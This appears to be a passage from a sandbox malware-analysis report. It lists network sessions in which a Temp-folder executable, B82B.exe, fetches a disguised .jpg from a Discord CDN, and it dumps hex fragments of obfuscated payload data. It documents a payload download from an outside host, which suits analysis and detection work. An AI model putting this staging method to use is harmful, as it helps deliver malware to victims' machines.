2021-10-29 18:29:53 UTC	1509	IN	Data Raw: 63 20 56 59 20 72 20 57 4e 20 57 72 20 49 59 20 63 57 20 49 72 20 59 4c 20 4e 63 20 56 59 20 4c 59 20 49 4e 20 49 4e 20 57 56 20 4e 4e 57 20 4c 49 20 56 4e 20 63 20 4e 43 57 20 4c 63 20 63 72 20 4d 4c 20 4e 4e 4d 20 49 4c 20 4c 56 20 59 4e 20 4d 20 4e 43 20 4c 20 59 43 20 49 4e 20 63 72 20 49 4e 20 4c 57 20 4e 4e 72 20 4e 49 20 49 20 72 20 4e 43 57 20 57 63 20 49 4c 20 63 57 20 4c 57 20 56 4c 20 4e 4d 20 63 4e 20 4e 4d 20 4d 43 20 49 49 20 63 59 20 59 72 20 4c 57 20 56 4c 20 4e 20 59 43 20 4c 56 20 49 4c 20 63 4d 20 63 59 20 49 4c 20 72 49 20 4c 72 20 56 43 20 56 59 20 56 72 20 63 59 20 72 49 20 4e 4e 63 20 57 59 20 59 49 20 56 56 20 4c 4d 20 4e 56 20 72 20 57 43 20 63 4d 20 59 43 20 49 72 20 4c 49 20 56 57 20 56 20 4c 43 20 56 4e 20 63 72 20 57 63 20 49 Data Ascii: c VY r WN Wr IY cW Ir YL Nc VY LY IN IN WV NNW LI VN c NCW Lc cr ML NNM IL LV YN M NC L YC IN cr IN LW NNr NI I r NCW Wc IL cW LW VL NM cN NM MC II cY Yr LW VL N YC LV IL cM cY IL rI Lr VC VY Vr cY rI NNc WY YI VV LM NV r WC cM YC Ir LI VW V LC VN cr Wc I
2021-10-29 18:29:53 UTC	1525	IN	Data Raw: 4d 59 20 72 49 20 59 43 20 72 4c 20 4e 4c 20 4e 4e 72 20 56 43 20 4e 43 57 20 4c 43 20 59 43 20 49 72 20 59 43 20 49 4c 20 49 72 20 4e 43 20 4e 4e 4d 20 72 57 20 4e 4e 56 20 4e 43 4d 20 72 49 20 49 4c 20 59 72 20 56 4e 20 4e 4e 72 20 4e 4d 20 4e 43 57 20 56 43 20 59 43 20 57 59 20 59 43 20 49 49 20 49 72 20 4e 4e 72 20 4e 43 43 20 59 4d 20 4e 4e 56 20 57 4c 20 72 49 20 57 4d 20 59 72 20 4c 56 20 4e 4e 72 20 4d 20 4e 43 57 20 56 59 20 59 43 20 57 72 20 59 43 20 49 4e 20 49 72 20 4e 4e 72 20 4e 4e 72 20 4e 56 20 4e 4e 56 20 63 59 20 72 49 20 49 72 20 59 72 20 49 72 20 57 57 20 57 59 20 4e 43 57 20 4d 20 59 43 20 49 4e 20 59 43 20 57 43 20 49 72 20 4c 43 20 4e 4e 4d 20 49 20 4e 4e 56 20 4d 43 20 72 49 20 56 72 20 59 72 20 49 72 20 4e 4e 4c 20 4e 56 4d 20 4e Data Ascii: MY rI YC rL NL NNr VC NCW LC YC Ir YC IL Ir NC NNM rW NNV NCM rI IL Yr VN NNr NM NCW VC YC WY YC II Ir NNr NCC YM NNV WL rI WM Yr LV NNr M NCW VY YC Wr YC IN Ir NNr NNr NV NNV cY rI Ir Yr Ir WW WY NCW M YC IN YC WC Ir LC NNM I NNV MC rI Vr Yr Ir NNL NVM N
2021-10-29 18:29:53 UTC	1541	IN	Data Raw: 57 63 20 56 72 59 20 4e 57 63 20 4e 56 43 20 4c 57 20 4c 72 20 4e 4d 49 20 4e 72 4d 20 49 59 20 57 63 20 56 72 59 20 56 56 4e 20 4e 4e 57 20 4c 57 20 4c 72 20 4d 20 59 59 20 4d 43 20 56 72 56 20 4e 57 4d 20 4e 43 4e 20 4e 43 4e 20 4c 56 20 4e 4d 63 20 4e 59 4e 20 59 59 20 4d 43 20 56 72 56 20 56 56 4e 20 4e 43 63 20 4e 43 4e 20 4c 56 20 59 20 59 4e 20 4c 63 20 56 4e 56 20 56 4e 49 20 4e 56 4d 20 4d 4d 20 4e 4e 72 20 72 4d 20 4c 72 20 4e 4d 49 20 4e 59 57 20 57 43 20 57 57 20 56 72 59 20 4e 57 56 20 49 4c 20 59 4c 20 59 4d 20 4c 57 20 4c 63 20 4e 56 4e 20 4e 4e 59 20 4e 43 4c 20 56 4c 63 20 4e 4e 56 20 72 4d 20 4c 72 20 4e 4d 49 20 4e 59 72 20 57 56 20 57 63 20 56 72 59 20 4e 57 4c 20 4e 43 4e 20 4c 56 20 59 20 59 4e 20 4c 63 20 56 4e 56 20 56 4e 49 20 4e Data Ascii: Wc VrY NWc NVC LW Lr NMI NrM IY Wc VrY VVN NNW LW Lr M YY MC VrV NWM NCN NCN LV NMc NYN YY MC VrV VVN NCc NCN LV Y YN Lc VNV VNI NVM MM NNr rM Lr NMI NYW WC WW VrY NWV IL YL YM LW Lc NVN NNY NCL VLc NNV rM Lr NMI NYr WV Wc VrY NWL NCN LV Y YN Lc VNV VNI N
2021-10-29 18:29:53 UTC	1557	IN	Data Raw: 43 20 49 72 20 4e 4e 4e 20 4e 4e 56 20 4e 43 72 20 49 49 20 59 43 20 4c 4c 20 4e 4d 49 20 56 4e 49 20 49 4e 20 57 43 20 4e 4e 4d 20 4e 56 4d 20 56 72 43 20 4e 57 49 20 59 4c 20 56 63 20 59 72 20 4d 43 20 56 72 4c 20 4e 43 4e 20 4e 43 72 20 49 49 20 59 43 20 4c 72 20 4e 4d 57 20 59 72 20 49 4d 20 57 43 20 4e 4e 4d 20 4e 4e 4c 20 4e 56 43 20 59 4e 20 72 49 20 59 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 43 20 59 4e 20 72 49 20 59 4e 20 59 72 20 43 20 4e 4e 56 20 57 57 20 59 49 20 56 20 49 4c 20 63 72 20 4e 56 72 20 49 57 20 59 49 20 59 59 20 4e 4c 20 4e 72 20 56 4e 20 63 63 20 63 49 20 57 4e 20 49 57 20 59 49 20 4c 49 20 56 57 20 4c 4e 20 4c 4e 20 63 57 20 63 4d 20 59 4e 20 63 56 20 49 59 20 4e 4e 72 20 4e 4e 57 20 4e 43 57 20 4e 4e Data Ascii: C Ir NNN NNV NCr II YC LL NMI VNI IN WC NNM NVM VrC NWI YL Vc Yr MC VrL NCN NCr II YC Lr NMW Yr IM WC NNM NNL NVC YN rI YI Yr Ir NNr NNM NCW NNC YN rI YN Yr C NNV WW YI V IL cr NVr IW YI YY NL Nr VN cc cI WN IW YI LI VW LN LN cW cM YN cV IY NNr NNW NCW NN
2021-10-29 18:29:53 UTC	1573	IN	Data Raw: 4e 43 43 20 49 72 20 56 4d 20 4e 4e 4d 20 59 59 20 4e 4e 56 20 57 56 20 72 49 20 4e 4e 56 20 59 72 20 59 63 20 4e 4e 72 20 72 4d 20 4e 43 57 20 4c 57 20 59 43 20 57 56 20 59 43 20 49 57 20 49 72 20 72 43 20 4e 4e 4d 20 72 56 20 4e 4e 56 20 4d 43 20 72 49 20 57 4e 20 59 72 20 59 4c 20 4e 4e 72 20 4c 72 20 4e 43 57 20 56 72 20 59 43 20 63 49 20 59 43 20 49 72 20 49 72 20 63 59 20 4e 4e 4d 20 72 4d 20 4e 4e 56 20 63 72 20 72 49 20 4e 43 4d 20 59 72 20 59 4d 20 4e 4e 72 20 59 20 4e 43 57 20 72 20 59 43 20 49 56 20 59 43 20 72 20 49 72 20 4d 59 20 4e 4e 4d 20 56 72 20 4e 4e 56 20 4e 43 72 20 72 49 20 57 59 20 59 72 20 4e 49 20 4e 4e 72 20 43 20 4e 43 57 20 4e 49 20 59 43 20 4e 4e 57 20 59 43 20 4e 56 72 20 49 72 20 4c 4e 20 4e 4e 4d 20 59 56 20 4e 4e 56 20 43 Data Ascii: NCC Ir VM NNM YY NNV WV rI NNV Yr Yc NNr rM NCW LW YC WV YC IW Ir rC NNM rV NNV MC rI WN Yr YL NNr Lr NCW Vr YC cI YC Ir Ir cY NNM rM NNV cr rI NCM Yr YM NNr Y NCW r YC IV YC r Ir MY NNM Vr NNV NCr rI WY Yr NI NNr C NCW NI YC NNW YC NVr Ir LN NNM YV NNV C
2021-10-29 18:29:53 UTC	1589	IN	Data Raw: 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d Data Ascii: NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM
2021-10-29 18:29:53 UTC	1605	IN	Data Raw: 4e 20 59 4c 20 4e 59 4d 20 4c 4d 20 56 72 20 4c 4e 20 4e 43 43 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 57 4d 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 59 56 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 59 4c 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 59 4d 20 4e 59 4d 20 4c 4d 20 56 4c 20 4c 4e 20 72 63 20 4e 59 4d 20 4c 4d 20 4c 56 20 43 20 43 20 43 20 43 20 4c 4e 20 72 57 20 4e 59 4d 20 4c 4d 20 4c 56 20 43 20 43 20 43 20 43 20 4c 4e 20 59 4d 20 4e 59 4d 20 4c 4d 20 4c 56 20 43 20 43 20 43 20 43 20 4c 4e 20 72 57 20 4e 59 4d 20 4c 4d 20 4c 56 20 43 20 43 20 43 20 43 20 4c 4e 20 57 4d 20 4e 59 4d 20 4c 4d 20 56 56 20 4c 4e 20 4e 43 59 20 4e 59 4d 20 4e 4e 59 20 Data Ascii: N YL NYM LM Vr LN NCC NYM LM LV N C C C LN WM NYM LM LV N C C C LN YV NYM LM LV N C C C LN YL NYM LM LV N C C C LN YM NYM LM VL LN rc NYM LM LV C C C C LN rW NYM LM LV C C C C LN YM NYM LM LV C C C C LN rW NYM LM LV C C C C LN WM NYM LM VV LN NCY NYM NNY
2021-10-29 18:29:53 UTC	1621	IN	Data Raw: 20 72 4c 20 43 20 4e 72 4e 20 4e 20 56 4c 4c 20 43 20 4e 57 20 43 20 4e 72 4c 20 56 20 43 20 4e 20 4e 57 20 43 20 4e 4c 56 20 4e 20 43 20 4e 20 56 4d 20 43 20 4e 72 4e 20 4e 20 4c 20 4e 20 4d 59 20 43 20 4e 72 4e 20 4e 20 4c 20 4e 20 4e 4e 20 43 20 4e 59 56 20 56 20 4c 20 4e 20 4e 57 20 43 20 4e 72 4c 20 56 20 4c 56 20 4e 20 4e 57 20 43 20 4e 4c 56 20 4e 20 4c 56 20 4e 20 56 4d 20 43 20 4e 72 4e 20 4e 20 4c 4c 20 4e 20 4d 59 20 43 20 4e 72 4e 20 4e 20 4c 4c 20 4e 20 4e 43 4d 20 43 20 4e 43 20 4c 20 4c 59 20 4e 20 4c 59 20 43 20 4e 72 4e 20 4e 20 4c 59 20 4e 20 72 4c 20 43 20 4e 72 4e 20 4e 20 4c 59 20 4e 20 57 4e 20 43 20 4e 72 4e 20 4e 20 4c 59 20 4e 20 4d 59 20 43 20 4e 72 4e 20 4e 20 72 4e 20 4e 20 59 4e 20 43 20 56 72 56 20 56 20 63 72 20 4e 20 4e 57 Data Ascii: rL C NrN N VLL C NW C NrL V C N NW C NLV N C N VM C NrN N L N MY C NrN N L N NN C NYV V L N NW C NrL V LV N NW C NLV N LV N VM C NrN N LL N MY C NrN N LL N NCM C NC L LY N LY C NrN N LY N rL C NrN N LY N WN C NrN N LY N MY C NrN N rN N YN C VrV V cr N NW
2021-10-29 18:29:53 UTC	1637	IN	Data Raw: 56 20 4e 43 4e 20 4e 4e 43 20 4e 4e 43 20 4e 43 59 20 4e 43 49 20 4e 43 4e 20 4e 4e 59 20 4e 4e 59 20 43 20 4e 43 4c 20 4e 43 4e 20 4e 4e 63 20 57 59 20 63 49 20 57 4d 20 4e 4e 4d 20 4e 4e 43 20 4e 4e 63 20 4e 43 49 20 4e 43 4e 20 4e 4e 59 20 4e 4e 59 20 4e 4e 43 20 4e 43 4e 20 4e 4e 59 20 4e 4e 59 20 43 20 4d 4e 20 4e 43 4e 20 4e 4e 63 20 49 43 20 4e 4e 72 20 4e 4e 4e 20 57 57 20 63 59 20 4e 43 43 20 4e 43 43 20 4e 4e 72 20 4e 43 4e 20 4e 4e 59 20 4e 4e 59 20 43 20 4d 4d 20 4e 43 59 20 57 57 20 4e 4e 72 20 4e 4e 4e 20 4e 4e 59 20 4e 4e 4e 20 4e 43 56 20 4e 4e 63 20 72 63 20 49 63 20 4e 43 59 20 4e 4e 59 20 4e 4e 4d 20 57 4d 20 4e 43 49 20 49 4c 20 4e 4e 63 20 4e 4e 4d 20 4e 43 43 20 4e 43 59 20 4e 4e 4e 20 72 63 20 49 72 20 4e 43 4e 20 4e 4e 59 20 4e 4e Data Ascii: V NCN NNC NNC NCY NCI NCN NNY NNY C NCL NCN NNc WY cI WM NNM NNC NNc NCI NCN NNY NNY NNC NCN NNY NNY C MN NCN NNc IC NNr NNN WW cY NCC NCC NNr NCN NNY NNY C MM NCY WW NNr NNN NNY NNN NCV NNc rc Ic NCY NNY NNM WM NCI IL NNc NNM NCC NCY NNN rc Ir NCN NNY NN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49794	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B82B.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:30:02 UTC	1652	OUT	GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:30:02 UTC	1652	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:30:02 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6a5e790bdec54d89-FRA Accept-Ranges: bytes Age: 280498 Cache-Control: public, max-age=31536000 ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d" Expires: Sat, 29 Oct 2022 18:30:02 GMT Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249393939568 x-goog-hash: crc32c=mLSBFQ== x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycduXLAU0rhkOYYdjTYv8nzQOrUiGMR0rq3qWR-Mu3t2dKo7sgrujSRwPDi2ARPYGwmCnqDDiBBlucDqiDRky3RaT0EIS3w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qtg1QwphCS%2FsF75XSz8LQnY%2B2UcA73W%2BbI3ytV9qqkmDRSc5f2STuD7h5u4ehrVB6ZpmLlCwCi0AfUs1gCj8CJ4K6OIYpiILfWcIsmHph6PtV7FWezXaQsa8Vgnd%2Fl%2BAiTAr1Q%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:30:02 UTC	1653	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:30:02 UTC	1653	IN	Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78 20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20 45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20 6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78 51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f Data Ascii: xOoEKYRtkQ-tt Qx OKK x E x x x K x x x oYY oYY x x OkK x x x x x x x RK x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x Ook x x x OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK OOO OxE OOK Qt OxQ Eo QQ Qt OOx O
2021-10-29 18:30:02 UTC	1654	IN	Data Raw: 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 Data Ascii: x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x oY Kx ooQ OxQ OOY Yx Kk Yx Yx kK OOK OOt OKR OKE Yx Kk OEk YK kK OOK OOt OxQ OOo Yx OOo Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Y
2021-10-29 18:30:02 UTC	1656	IN	Data Raw: 20 4f 78 20 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 45 6f 20 4f 6b 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 4b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 20 4f 78 51 Data Ascii: Ox O OxQ OOo Yx OEo OkE YY kK OOK kY OxQ OOo Yx OkK YO YK kK OOk OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Ok YK kK Ok QO EO E RK kE Yx YK kK Otk OOk OxQ OOo Yx oKx YO YK kK OOk OOt OxQ OOo OQx KQ Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK YE OxQ
2021-10-29 18:30:02 UTC	1657	IN	Data Raw: 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f Data Ascii: OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo
2021-10-29 18:30:02 UTC	1658	IN	Data Raw: 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 45 74 20 4b 74 20 6f 4f 74 20 4b 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 6f 45 20 45 6b 20 52 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20 74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20 45 4f 20 4f 20 59 78 20 4b 6b 20 52 52 20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f 20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20 Data Ascii: OxQ OOo YR EQ Et Kt oOt Ko OOt OxQ OOE oE Ek RK YY kK OOK Y EO KO Yx Kk RR to tK OOK OOt OxE kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk oYO OOK OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK oO Ko Rk OKt OOK OOt oQ o YE KQ Yx tx Ko Oxk OOt OxQ Ooo oR Kt Yx
2021-10-29 18:30:02 UTC	1660	IN	Data Raw: 74 6b 20 6f 78 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 59 20 6b 51 20 4f 4f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 52 59 20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4f 20 45 4f 20 45 45 20 4f 4f 4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45 20 59 59 20 45 51 20 6b Data Ascii: tk oxE kK OOK OOE RQ OOK Yx Kk oY kQ OOo OOY OOt Oxt Qt YY EE YK oxx ko ORK OOR OxQ OOk RY Ex Yx YK QK Oo OEQ OxQ OOo YK oO EO EE OOK Oo OKo OxQ OOo YK oxR Yo oEY kY OOK OOY Ex QY Yx Kk YR OQ oOo OKx OOt OxQ OOR oR YO Yx YK Oot oQ QY Oxk OOo Yo EE YY EQ k
2021-10-29 18:30:02 UTC	1661	IN	Data Raw: 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 74 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 51 20 59 45 20 45 78 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f 45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20 4f 4f 4b 20 45 78 20 6f 4f 51 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 59 20 4f 78 6f 20 45 45 20 Data Ascii: OxQ Ooo RY k Yx YK QK Qx tR OxQ OOo YR YQ YE Ex OOx OOK OOt OxE QE YE YK RE oEY Oot OOY OOt OxQ OOK oR YR Yx YK ko OoR OOK Ex oOQ Yx Kk Yo Et kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo ooo OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OEY kK OOK OOY tY Oxo EE
2021-10-29 18:30:02 UTC	1662	IN	Data Raw: 6f 20 59 78 20 4b 6b 20 59 6f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 59 20 4f 78 51 20 59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20 74 51 20 59 78 20 4b 6b 20 59 52 20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 4b 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 